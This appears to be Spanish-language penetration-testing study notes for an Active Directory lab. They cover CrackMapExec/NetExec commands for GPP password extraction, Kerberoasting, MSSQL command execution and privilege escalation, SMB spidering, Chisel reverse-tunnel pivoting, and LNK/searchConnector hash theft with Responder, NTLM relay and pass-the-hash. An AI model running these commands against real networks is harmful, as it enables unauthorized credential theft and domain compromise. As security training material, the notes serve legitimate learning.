Searching for Accounts in Group Policy Objects
Técnica que busca credenciales almacenadas en Group Policy Objects (GPO), especialmente efectiva en entornos antiguos (Windows Server 2003/2008). Todo usuario del dominio puede leer los GPOs, por lo que si hay credenciales almacenadas ahí, son accesibles con cualquier cuenta válida.
Links: CrackMapExec Wiki | NetExec Docs | GPP Passwords - ADSecurity
Módulos disponibles
CME/NXC tiene dos módulos para esto, ambos buscan en el share SYSVOL del DC.
gpp_password— Busca contraseñas en archivos XML de Group Policy Preferences (GPP). Las contraseñas estaban cifradas con AES-256 pero Microsoft publicó la clave, por lo que se pueden descifrar en texto plano.gpp_autologin— Busca archivosRegistry.xmlen los GPOs que contengan configuración de autologin, devolviendo usuario y contraseña en texto claro.
gpp_password
Recupera credenciales de cuentas distribuidas vía Group Policy Preferences. Busca archivos Groups.xml y similares dentro de SYSVOL.
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' -M gpp_password
# NetExec
netexec smb <IP> -u <user> -p '<password>' -M gpp_passwordgpp_autologin
Busca configuraciones de autologin guardadas en Registry.xml dentro de los GPOs. Devuelve usuario, dominio y contraseña en texto claro.
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' -M gpp_autologin
# NetExec
netexec smb <IP> -u <user> -p '<password>' -M gpp_autologinValidar credenciales encontradas
Una vez obtenidas las credenciales hay que verificar que siguen siendo válidas antes de usarlas.
# CrackMapExec
crackmapexec smb <IP> -u <user_found> -p '<password_found>'
# NetExec
netexec smb <IP> -u <user_found> -p '<password_found>'Flujo del ataque
- Tener una cuenta de dominio válida (cualquier usuario)
- Correr
gpp_passwordygpp_autologincontra el DC - Recopilar las credenciales encontradas en texto claro
- Validarlas contra SMB
- Verificar acceso a otros protocolos: WinRM, MSSQL, RDP, etc.
- Identificar privilegios de las cuentas obtenidas.
Working with Modules
CME/NXC soporta módulos por protocolo que extienden su funcionalidad. Cada protocolo tiene su propio set de módulos.
Links: CrackMapExec Wiki | NetExec Docs
Listar módulos disponibles por protocolo
# CrackMapExec
crackmapexec <protocolo> -L
# NetExec
netexec <protocolo> -L
# Ejemplos por protocolo
crackmapexec ldap -L
crackmapexec smb -L
netexec ldap -L
netexec smb -LVer opciones de un módulo
# CrackMapExec
crackmapexec <protocolo> -M <modulo> --options
# NetExec
netexec <protocolo> -M <modulo> --options
# Ejemplo
crackmapexec ldap -M user-desc --options
netexec ldap -M user-desc --optionsEjecutar un módulo
# CrackMapExec
crackmapexec <protocolo> <target> -u <user> -p '<password>' -M <modulo>
# NetExec
netexec <protocolo> <target> -u <user> -p '<password>' -M <modulo>Ejecutar un módulo con opciones
Las opciones se pasan con -o en formato KEY=value.
# CrackMapExec
crackmapexec <protocolo> <target> -u <user> -p '<password>' -M <modulo> -o KEY=value
# NetExec
netexec <protocolo> <target> -u <user> -p '<password>' -M <modulo> -o KEY=valueMódulo user-desc
Busca descripciones de usuarios en AD que contengan keywords de interés. Muy útil para encontrar contraseñas, IPs u otra info sensible guardada en el campo descripción de cuentas.
Los keywords por defecto son: pass, creds, creden, key, secret, default.
Guarda todas las descripciones en un archivo de log independientemente de los keywords.
Importante: Con null session puede devolver descripciones limitadas. Usar credenciales válidas junto con el FQDN del DC para obtener todas las descripciones del dominio.
# Búsqueda con keywords por defecto
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc
# Reemplazar keywords por defecto
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o KEYWORDS=pwd,admin
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o KEYWORDS=pwd,admin
# Buscar IPs en descripciones
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o KEYWORDS=IP
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o KEYWORDS=IP
# Agregar keywords adicionales sin reemplazar los por defecto
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o ADD_KEYWORDS=IP,token
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o ADD_KEYWORDS=IP,token
# Filtrar por nombre de usuario específico
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o USER_FILTER=admin*
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o USER_FILTER=admin*El log en CME se guarda en ~/.cme/logs/UserDesc-<IP>-<fecha>.log y en NXC en ~/.nxc/UserDesc-<FQDN>-<fecha>.log.
# Ver todas las descripciones guardadas
cat ~/.cme/logs/UserDesc-*.log
cat ~/.nxc/UserDesc-*.log
# Buscar IPs en el log
cat ~/.nxc/UserDesc-*.log | grep -E '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'Módulo MAQ
Recupera el atributo MachineAccountQuota del dominio, que indica cuántas máquinas puede unir al dominio un usuario estándar.
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M MAQ
netexec ldap dc01.domain.local -u <user> -p '<password>' -M MAQMódulo groupmembership
Consulta los grupos a los que pertenece un usuario específico.
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M groupmembership -o USER=<target_user>
netexec ldap dc01.domain.local -u <user> -p '<password>' -M groupmembership -o USER=<target_user>Ver código fuente de un módulo
Los módulos de CME están en Python y se pueden inspeccionar directamente para conocer su comportamiento interno, keywords por defecto, etc.
# Ubicación de los módulos CME
ls CrackMapExec/cme/modules/
# Ver keywords de un módulo
cat CrackMapExec/cme/modules/user_description.py | grep keywordsNota sobre LDAP y FQDN
Los módulos LDAP requieren usar el FQDN del DC, no la IP. Configurar en /etc/hosts si no hay resolución DNS disponible.
echo '<IP> domain.htb dc01.domain.local' >> /etc/hostsMSSQL Enumeration and Attacks
MSSQL es un objetivo de alto valor ya que almacena datos sensibles y permite ejecutar comandos del sistema operativo mediante xp_cmdshell. Con CME/NXC se puede interactuar directamente contra el servicio.
Links: CrackMapExec Wiki | NetExec Docs | xp_cmdshell | OPENROWSET | Ole Automation
Tipos de autenticación en MSSQL
- Cuenta de Active Directory → usar
-d <dominio> - Cuenta local de Windows → usar
-d . - Cuenta SQL local → usar
--local-auth
El output (Pwn3d!) indica que el usuario es DBA (Database Administrator) y puede ejecutar comandos del sistema.
Ejecutar queries SQL
# CrackMapExec
crackmapexec mssql <IP> -u <user> -p '<password>' -q "<query SQL>"
# NetExec
netexec mssql <IP> -u <user> -p '<password>' -q "<query SQL>"
# Con cuenta SQL local
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth -q "<query SQL>"
netexec mssql <IP> -u <user> -p '<password>' --local-auth -q "<query SQL>"Queries útiles
-- Listar todas las bases de datos
SELECT name FROM master.dbo.sysdatabases
-- Listar tablas de una base de datos
SELECT table_name FROM <database>.INFORMATION_SCHEMA.TABLES
-- Volcar contenido de una tabla
SELECT * FROM [<database>].[dbo].<tabla>Ejecutar comandos Windows (xp_cmdshell)
Requiere ser DBA. CME/NXC habilita xp_cmdshell automáticamente si el usuario tiene permisos.
# CrackMapExec
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth -x "whoami"
crackmapexec mssql <IP> -u <user> -p '<password>' -x "whoami"
# NetExec
netexec mssql <IP> -u <user> -p '<password>' --local-auth -x "whoami"
netexec mssql <IP> -u <user> -p '<password>' -x "whoami"Nota: Ejecutar comandos vía MSSQL no implica ser administrador local del sistema Windows.
Transferencia de archivos
Subir archivo al target
# CrackMapExec
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth --put-file <archivo_local> <ruta_destino_windows>
# NetExec
netexec mssql <IP> -u <user> -p '<password>' --local-auth --put-file <archivo_local> <ruta_destino_windows>Descargar archivo del target
# CrackMapExec
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth --get-file <ruta_windows> <archivo_local_salida>
# NetExec
netexec mssql <IP> -u <user> -p '<password>' --local-auth --get-file <ruta_windows> <archivo_local_salida>Módulo mssql_priv - Escalada de privilegios
Enumera y explota vectores de escalada de privilegios en MSSQL. Busca EXECUTE AS LOGIN y db_owner role para escalar a sysadmin.
Ver opciones del módulo
crackmapexec mssql -M mssql_priv --options
netexec mssql -M mssql_priv --optionsEnumerar privilegios (por defecto)
crackmapexec mssql <IP> -u <user> -p '<password>' -M mssql_priv
netexec mssql <IP> -u <user> -p '<password>' -M mssql_privEscalar privilegios a sysadmin
crackmapexec mssql <IP> -u <user> -p '<password>' -M mssql_priv -o ACTION=privesc
netexec mssql <IP> -u <user> -p '<password>' -M mssql_priv -o ACTION=privescRevertir privilegios al estado original
crackmapexec mssql <IP> -u <user> -p '<password>' -M mssql_priv -o ACTION=rollback
netexec mssql <IP> -u <user> -p '<password>' -M mssql_priv -o ACTION=rollbackNota: El módulo
mssql_privcon múltiples usuarios necesita probarse uno por uno. No es compatible con--no-bruteforcey--continue-on-success.
Flujo del ataque
- Autenticar con credenciales obtenidas previamente
- Verificar si el usuario es DBA (
Pwn3d!en el output) - Enumerar bases de datos, tablas y contenido con
-q - Si no es DBA, usar
mssql_privpara intentar escalar - Una vez como sysadmin, ejecutar comandos con
-x - Transferir archivos con
--put-file/--get-filesegún necesidad - Revertir privilegios con
ACTION=rollbacktras terminar
Finding Kerberoastable Accounts
Ataque que obtiene tickets TGS de cuentas con servicePrincipalName (SPN) configurado, generalmente service accounts. Cualquier cuenta válida del dominio puede solicitar estos tickets, cuya parte cifrada con el hash NTLM de la cuenta puede crackearse offline.
Links: CrackMapExec Wiki | NetExec Docs | Hashcat
¿Cómo funciona?
Cualquier usuario autenticado en el dominio puede pedir un TGS para cualquier SPN. El ticket devuelto contiene datos cifrados con el hash de la cuenta de servicio, permitiendo crackeo offline sin más interacción con el dominio.
Obtener hashes Kerberoastables
Requiere una cuenta válida del dominio y usar el FQDN del DC. Los hashes se guardan en el archivo especificado.
# CrackMapExec
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --kerberoasting kerberoasting.out
# NetExec
netexec ldap dc01.domain.local -u <user> -p '<password>' --kerberoasting kerberoasting.outEl output muestra por cada cuenta vulnerable su sAMAccountName, grupos a los que pertenece, fecha del último cambio de contraseña y el hash $krb5tgs$23$.
Crackear los hashes
Los hashes se crackean offline con Hashcat usando el módulo 13100.
hashcat -m 13100 kerberoasting.out /usr/share/wordlists/rockyou.txtOpciones adicionales útiles
# Ver hashes ya crackeados
hashcat -m 13100 kerberoasting.out --show
# Con reglas para mayor cobertura
hashcat -m 13100 kerberoasting.out /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.ruleValidar credenciales obtenidas
Una vez crackeada la contraseña, verificar que la cuenta sigue activa contra SMB.
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>'
# NetExec
netexec smb <IP> -u <user> -p '<password>'Diferencia con ASREPRoasting
- Kerberoasting → ataca cuentas con SPN configurado, requiere credencial válida, módulo Hashcat 13100
- ASREPRoasting → ataca cuentas sin pre-auth Kerberos, puede hacerse sin credenciales con lista de usuarios, módulo Hashcat 18200
Flujo del ataque
- Tener una cuenta de dominio válida
- Correr
--kerberoastingvía LDAP contra el FQDN del DC - Los hashes quedan en el archivo de salida
- Crackear offline con Hashcat módulo 13100
- Validar las credenciales obtenidas contra SMB
- Verificar acceso a otros protocolos y shares con la nueva cuenta
Spidering and Finding Juicy Information in an SMB Share
Las carpetas compartidas son una fuente común de información sensible en entornos corporativos. CME/NXC permite enumerar shares, buscar archivos por nombre o contenido y transferirlos.
Links: CrackMapExec Wiki | NetExec Docs | Impacket smbclient
Enumerar shares y permisos
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --shares
# NetExec
netexec smb <IP> -u <user> -p '<password>' --sharesMuestra cada share con sus permisos READ, WRITE o READ,WRITE. Sin permiso aparece vacío.
Nota:
--sharesno soporta múltiples usuarios y contraseñas simultáneamente, hay que probar cuenta por cuenta.
Spider - Buscar archivos en un share
Buscar por patrón en nombre de archivo
El --pattern busca coincidencias en el nombre del archivo (no es case-sensitive estrictamente, admite texto parcial).
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --pattern <texto>
# NetExec
netexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --pattern <texto>
# Ejemplo: buscar archivos con "txt" en el nombre
crackmapexec smb <IP> -u <user> -p '<password>' --spider IT --pattern txt
netexec smb <IP> -u <user> -p '<password>' --spider IT --pattern txtListar todos los archivos y directorios
Con --regex . se listan todos los archivos y carpetas dentro del share.
crackmapexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --regex .
netexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --regex .Buscar dentro del contenido de los archivos
Con --content se habilita la búsqueda dentro del contenido de los archivos, combinado con --regex.
crackmapexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --content --regex <palabra>
netexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --content --regex <palabra>
# Ejemplo: buscar archivos que contengan "password"
crackmapexec smb <IP> -u <user> -p '<password>' --spider IT --content --regex password
netexec smb <IP> -u <user> -p '<password>' --spider IT --content --regex passwordDescargar un archivo de un share
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --share <SHARE> --get-file <ruta_en_share> <archivo_local>
# NetExec
netexec smb <IP> -u <user> -p '<password>' --share <SHARE> --get-file <ruta_en_share> <archivo_local>
# Ejemplo
crackmapexec smb <IP> -u grace -p 'Pass123!' --share IT --get-file Creds.txt Creds.txt
netexec smb <IP> -u grace -p 'Pass123!' --share IT --get-file Creds.txt Creds.txtSubir un archivo a un share
Requiere permisos de WRITE en el share destino.
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --share <SHARE> --put-file <archivo_local> <nombre_en_share>
# NetExec
netexec smb <IP> -u <user> -p '<password>' --share <SHARE> --put-file <archivo_local> <nombre_en_share>Nota: Si falla la transferencia de un archivo grande, reintentar. Para timeouts usar
--smb-timeout <segundos>con un valor mayor al default de 2.
Módulo spider_plus
Enumera todos los archivos de todos los shares accesibles y genera un JSON con la información. Por defecto solo lista (no descarga) y guarda el resultado en /tmp/cme_spider_plus/<IP>.json.
Ver opciones del módulo
crackmapexec smb -M spider_plus --options
netexec smb -M spider_plus --optionsListar archivos en todos los shares (solo indexar)
crackmapexec smb <IP> -u <user> -p '<password>' -M spider_plus -o EXCLUDE_DIR=IPC$,print$,NETLOGON,SYSVOL
netexec smb <IP> -u <user> -p '<password>' -M spider_plus -o EXCLUDE_DIR=IPC$,print$,NETLOGON,SYSVOLVer el JSON generado
cat /tmp/cme_spider_plus/<IP>.jsonDescargar todo el contenido accesible
crackmapexec smb <IP> -u <user> -p '<password>' -M spider_plus -o EXCLUDE_DIR=ADMIN$,IPC$,print$,NETLOGON,SYSVOL READ_ONLY=false
netexec smb <IP> -u <user> -p '<password>' -M spider_plus -o EXCLUDE_DIR=ADMIN$,IPC$,print$,NETLOGON,SYSVOL READ_ONLY=falseLos archivos se descargan en /tmp/cme_spider_plus/<IP>/.
Opciones disponibles de spider_plus
READ_ONLY— Solo listar archivos sin descargar (default:True)EXCLUDE_EXTS— Extensiones a excluir (default:ico,lnk)EXCLUDE_DIR— Directorios/shares a excluir (default:print$)MAX_FILE_SIZE— Tamaño máximo de archivo a descargar en bytes (default:51200)OUTPUT_FOLDER— Carpeta de salida local (default:/tmp/cme_spider_plus)
Flujo del ataque
- Enumerar shares con
--sharespara identificar accesos READ/WRITE - Usar
--spidercon--patterno--regexpara encontrar archivos de interés - Si se necesita buscar dentro del contenido, agregar
--content - Descargar archivos interesantes con
--get-file - Para una enumeración masiva de todos los shares usar
spider_plus - Revisar el JSON generado para encontrar archivos sensibles en cualquier share
Proxychains with CME
Técnica para pivotar a través de un host comprometido y atacar redes internas no accesibles directamente, usando Chisel como túnel y Proxychains para redirigir el tráfico de CME/NXC.
Links: CrackMapExec Wiki | NetExec Docs | Chisel | Chisel Releases
Escenario
Host comprometido con dos interfaces de red actúa como pivot entre el atacante y una red interna no alcanzable directamente.
Atacante (10.10.14.7) --> MS01 (10.129.204.133 / 172.16.1.5) --> DC01 (172.16.1.10)Modo 1 - Linux como servidor, Windows como cliente (Reverse Tunnel)
Paso 1 - Iniciar Chisel server en el atacante
# Descargar Chisel para Linux
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz -O chisel.gz
gunzip -d chisel.gz
chmod +x chisel
# Iniciar servidor con reverse tunneling
./chisel server --reversePaso 2 - Subir Chisel para Windows al host comprometido
# Descargar binario para Windows
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz -O chisel.exe.gz
gunzip -d chisel.exe.gz
# Subir al host comprometido via CME/NXC
crackmapexec smb <IP_MS01> -u <user> -p '<password>' --put-file ./chisel.exe \\Windows\\Temp\\chisel.exe
netexec smb <IP_MS01> -u <user> -p '<password>' --put-file ./chisel.exe \\Windows\\Temp\\chisel.exePaso 3 - Ejecutar Chisel client en el host comprometido
# Conectar al servidor Chisel del atacante (R:socks = reverse SOCKS proxy en puerto 1080)
crackmapexec smb <IP_MS01> -u <user> -p '<password>' -x "C:\Windows\Temp\chisel.exe client <IP_ATACANTE>:8080 R:socks"
netexec smb <IP_MS01> -u <user> -p '<password>' -x "C:\Windows\Temp\chisel.exe client <IP_ATACANTE>:8080 R:socks"Paso 4 - Verificar que el túnel está activo
# Confirmar que el puerto 1080 está escuchando
netstat -lnpt | grep 1080Modo 2 - Windows como servidor, Linux como cliente
Iniciar Chisel server en el host comprometido
crackmapexec smb <IP_MS01> -u <user> -p '<password>' -x "C:\Windows\Temp\chisel.exe server --socks5"
netexec smb <IP_MS01> -u <user> -p '<password>' -x "C:\Windows\Temp\chisel.exe server --socks5"Conectar desde el atacante al servidor Chisel
sudo chisel client <IP_MS01>:8080 socksConfigurar Proxychains
Agregar la entrada SOCKS5 al archivo de configuración de Proxychains:
# Editar /etc/proxychains.conf
# En la sección [ProxyList] agregar:
socks5 127.0.0.1 1080Usar CME/NXC a través de Proxychains
# Con output de proxychains visible
sudo proxychains crackmapexec smb <IP_RED_INTERNA> -u <user> -p '<password>' --shares
sudo proxychains netexec smb <IP_RED_INTERNA> -u <user> -p '<password>' --shares
# Con output limpio (sin logs de proxychains)
sudo proxychains4 -q crackmapexec smb <IP_RED_INTERNA> -u <user> -p '<password>' --shares
sudo proxychains4 -q netexec smb <IP_RED_INTERNA> -u <user> -p '<password>' --sharesCualquier comando de CME/NXC funciona a través de Proxychains simplemente anteponiendo proxychains o proxychains4 -q.
Detener Chisel en el host comprometido
Una vez terminado el pivoting, matar el proceso Chisel con PowerShell via CME/NXC:
# CrackMapExec
crackmapexec smb <IP_MS01> -u <user> -p '<password>' -X "Stop-Process -Name chisel -Force"
# NetExec
netexec smb <IP_MS01> -u <user> -p '<password>' -X "Stop-Process -Name chisel -Force"Luego cerrar el servidor Chisel en el atacante con CTRL + C.
Flujo completo del ataque
- Subir Chisel al host comprometido con
--put-file - Iniciar Chisel server en el atacante con
--reverse - Ejecutar Chisel client en el host comprometido con
-x - Verificar que el puerto 1080 está escuchando en el atacante
- Configurar
/etc/proxychains.confconsocks5 127.0.0.1 1080 - Ejecutar CME/NXC anteponiendo
proxychains4 -qpara alcanzar la red interna - Al terminar, matar Chisel en el target con
-X "Stop-Process -Name chisel -Force"
Stealing Hashes
Técnica que fuerza a usuarios o equipos a autenticarse contra un servidor SMB falso controlado por el atacante, capturando hashes NTLMv2 que luego se crackean o se retransmiten (NTLM Relay) a otras máquinas.
Links: CrackMapExec Wiki | NetExec Docs | Responder | Impacket ntlmrelayx | Harvesting NetNTLM - MDSec | Search Connectors en Windows
¿Cómo funciona?
Se coloca un archivo malicioso (LNK, .searchConnector-ms, .library-ms) en un share con permisos de escritura. Cuando un usuario navega al share, Windows intenta resolver el ícono o la URL especificada en el archivo, forzando una autenticación NTLMv2 contra el servidor del atacante.
Módulo slinky - Archivos LNK
Crea shortcuts .lnk en todos los shares con permisos de escritura. El atributo de ícono apunta a un UNC path del servidor del atacante.
Nota: Este módulo no es opsec safe. CME pedirá confirmación antes de ejecutarlo.
Ver opciones del módulo
crackmapexec smb -M slinky --options
netexec smb -M slinky --optionsCrear el archivo LNK
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' -M slinky -o SERVER=<IP_ATACANTE> NAME=<nombre_archivo>
# NetExec
netexec smb <IP> -u <user> -p '<password>' -M slinky -o SERVER=<IP_ATACANTE> NAME=<nombre_archivo>
# Con Proxychains para red interna
proxychains4 -q crackmapexec smb <IP> -u <user> -p '<password>' -M slinky -o SERVER=<IP_ATACANTE> NAME=important
proxychains4 -q netexec smb <IP> -u <user> -p '<password>' -M slinky -o SERVER=<IP_ATACANTE> NAME=importantLimpiar el archivo LNK al terminar
crackmapexec smb <IP> -u <user> -p '<password>' -M slinky -o NAME=<nombre_archivo> CLEANUP=YES
netexec smb <IP> -u <user> -p '<password>' -M slinky -o NAME=<nombre_archivo> CLEANUP=YESCapturar el hash con Responder
Mientras el LNK está activo, iniciar Responder en la interfaz correspondiente y esperar que un usuario navegue al share.
sudo responder -I <interfaz>
# Ejemplo: sudo responder -I tun0Nota: Verificar que la opción
SMB = OnenResponder.confpara capturar los hashes.
Crackear el hash NTLMv2 capturado
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txtNTLM Relay
En lugar de crackear el hash, se puede retransmitir directamente a máquinas con SMB Signing deshabilitado. Si el usuario tiene privilegios de admin local en el target, ntlmrelayx vuelca automáticamente la SAM.
Generar lista de targets sin SMB Signing
# CrackMapExec
crackmapexec smb <red/CIDR> --gen-relay-list relay.txt
# NetExec
netexec smb <red/CIDR> --gen-relay-list relay.txt
# Con Proxychains
proxychains4 -q crackmapexec smb 172.16.1.0/24 --gen-relay-list relay.txt
proxychains4 -q netexec smb 172.16.1.0/24 --gen-relay-list relay.txtEjecutar ntlmrelayx
sudo ntlmrelayx.py -tf relay.txt -smb2support --no-http
# Con Proxychains para red interna
sudo proxychains4 -q ntlmrelayx.py -tf relay.txt -smb2support --no-httpAutenticar con el hash obtenido (Pass-the-Hash)
# CrackMapExec
crackmapexec smb <IP> -u administrator -H <NTHASH> --local-auth
# NetExec
netexec smb <IP> -u administrator -H <NTHASH> --local-auth
# Con Proxychains
proxychains4 -q crackmapexec smb <IP> -u administrator -H <NTHASH> --local-auth
proxychains4 -q netexec smb <IP> -u administrator -H <NTHASH> --local-authMódulo drop-sc - Archivos searchConnector-ms
Alternativa al LNK usando el formato .searchConnector-ms que integra con Windows Explorer para mostrar contenido desde ubicaciones remotas, incluyendo WebDAV. Más difícil de detectar que LNK.
Nota: Este módulo tampoco es opsec safe. CME pedirá confirmación.
Ver opciones del módulo
crackmapexec smb -M drop-sc --options
netexec smb -M drop-sc --optionsCrear el archivo searchConnector-ms
La URL debe escaparse con doble backslash: \\\\<IP>\\<nombre>.
# En un share específico con nombre personalizado
crackmapexec smb <IP> -u <user> -p '<password>' -M drop-sc -o URL=\\\\<IP_ATACANTE>\\secret SHARE=<SHARE> FILENAME=<nombre>
netexec smb <IP> -u <user> -p '<password>' -M drop-sc -o URL=\\\\<IP_ATACANTE>\\secret SHARE=<SHARE> FILENAME=<nombre>
# Con Proxychains
proxychains4 -q crackmapexec smb <IP> -u <user> -p '<password>' -M drop-sc -o URL=\\\\<IP_ATACANTE>\\secret SHARE=IT-Tools FILENAME=secret
proxychains4 -q netexec smb <IP> -u <user> -p '<password>' -M drop-sc -o URL=\\\\<IP_ATACANTE>\\secret SHARE=IT-Tools FILENAME=secretLimpiar el archivo searchConnector-ms
crackmapexec smb <IP> -u <user> -p '<password>' -M drop-sc -o CLEANUP=True FILENAME=<nombre>
netexec smb <IP> -u <user> -p '<password>' -M drop-sc -o CLEANUP=True FILENAME=<nombre>Opciones de drop-sc
URL— URL del servidor WebDAV/SMB falso (escapar con\\\\)CLEANUP— Limpiar archivos creados (TrueoFalse)SHARE— Share específico donde crear el archivo (si no se especifica, aplica a todos con WRITE)FILENAME— Nombre del archivo sin extensión (default:Documents)
Flujo completo del ataque
- Identificar shares con permisos WRITE con
--shares - Generar lista de targets sin SMB Signing con
--gen-relay-list - Iniciar
ntlmrelayxoResponderen el atacante - Colocar el archivo malicioso con
slinkyodrop-sc - Esperar que un usuario navegue al share
- Si se usa Responder: capturar el hash y crackear con Hashcat (
-m 5600) - Si se usa ntlmrelayx: el relay vuelca la SAM automáticamente si el usuario es admin local
- Autenticar con Pass-the-Hash usando el hash obtenido
- Limpiar los archivos creados con
CLEANUP=YESoCLEANUP=True